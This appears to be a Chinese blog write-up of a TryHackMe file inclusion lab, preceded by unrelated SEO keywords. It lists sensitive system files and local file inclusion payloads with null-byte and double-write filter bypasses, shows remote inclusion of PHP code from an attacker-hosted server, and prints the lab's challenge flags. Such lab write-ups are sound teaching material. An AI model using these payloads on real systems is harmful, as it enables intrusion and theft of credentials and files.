网络营销百科,西宁seo网站,500元制作网站,asp.net手机网站开发教程本文相关的TryHackMe实验房间链接#xff1a;TryHackMe | Why Subscribe
路径遍历(目录遍历)
LocationDescription/etc/issue包含要在登录提示之前打印的消息或系统标识。/etc/profile控制系统范围的默认变量#xff0c;例如导出#xff08;Export#xff09;变量、文件创…
本文相关的TryHackMe实验房间链接TryHackMe | Why Subscribe
路径遍历(目录遍历)
LocationDescription/etc/issue包含要在登录提示之前打印的消息或系统标识。/etc/profile控制系统范围的默认变量例如导出Export变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息/proc/version指定 Linux 内核的版本/etc/passwd包含有权访问系统的所有注册用户信息/etc/shadow包含系统用户密码的信息/root/.bash_history包含 root 用户的历史命令/var/log/dmessage包含全局系统消息包括系统启动期间记录的消息/var/mail/rootroot 用户的所有电子邮件/root/.ssh/id_rsa服务器上的root 用户或任何已知有效用户的 SSH 私钥/var/log/apache2/access.logApache web服务器的访问请求C:\boot.ini包含具有 BIOS 固件的计算机的引导选项
本地文件包含
?file../../../../etc/passwd
通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.
相关payload可参考以下内容
?file/etc/passwd%00
?file/etc/passwd/.
%00 技巧已修复不适用于 PHP 5.3.4 及更高版本。
为了更清楚地理解访问当前目录技巧/.我们可以查看以下例子如果我们在文件系统中使用cd ..我们将切换到上一级目录如果我们使用的是cd.我们仍然将停留在当前目录。
因此当我们输入/etc/passwd/..时我们将切换目录到/etc/然后当我们输入/etc/passwd/.时将停留在当前目录/etc/passwd因为.指代的就是当前工作目录所以并不会进行目录切换操作。
../关键字被过滤
当我们输入http://webapp.thm/index.php?lang../../../../etc/passwd时如果收到如下错误提示
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
这说明../关键字被过滤了当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../。
我们可以使用一些技术来绕过上述过滤的限制尝试使用以下payload
?file....//....//....//....//....//etc/passwd
这种方式被称为“双写绕过”。
双写绕过生效原因PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤所以当双写绕过执行成功时将留下下图所示的内容。 强制include函数从已定义的目录中读取目标文件
例如如果 Web 应用程序要求用户提供一个必须包含指定目录的输入http://webapp.thm/index.php?langlanguages/EN.php。
为了成功利用此类情况下的文件包含漏洞我们可以尝试在payload中包含指定目录即
?filelanguages/../../../../../etc/passwd
远程文件包含
假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。
?PHP echo Hello THM; ?
首先攻击者注入恶意 URL该 URL 指向攻击者的服务器例如 http://webapp.thm/index.php?langhttp://attacker.thm/cmd.txt。如果没有输入验证则恶意 URL 将传递到 include 函数中。接下来Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此Web 应用程序将远程文件包含在 include 函数中以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中某处的当前页面必须显示 Hello THM 消息。 python3 -m http.server 挑战
Challenge-1 因为要POST上传所以我们使用bp抓包上传吧 这里不知道为什么始终显示错误所以就使用插件了
Max HacKBarHackBar最新版要钱可以去找旧版下载
这样的 POST传参 flag1F1x3d-iNpu7-f0rrn Challenge2
这里显示要admin而我们是Guest所以我们要成为admin 但Get和POST传参都不行
所以我们尝试继续修改cookie 接下来我们用上面讲过的方法
../../../../etc/flag2%00 flag2c00k13_i5_yuMmy1 Challenge3
file../../.././etc/flag3%00
这题get、post都可以不过因为使用插件上传会进行url编码
所以只能抓包把%2500改为%00即可 flagP0st_1s_w0rk1in9 Challenge4
先将php代码写入cmd.txt
?PHP
echo system(hostname);
?python3 -m http.server 8080 http://10.10.109.26:8080/cmd.txt flaglfi-vm-thm-f8c5b1a78692 答题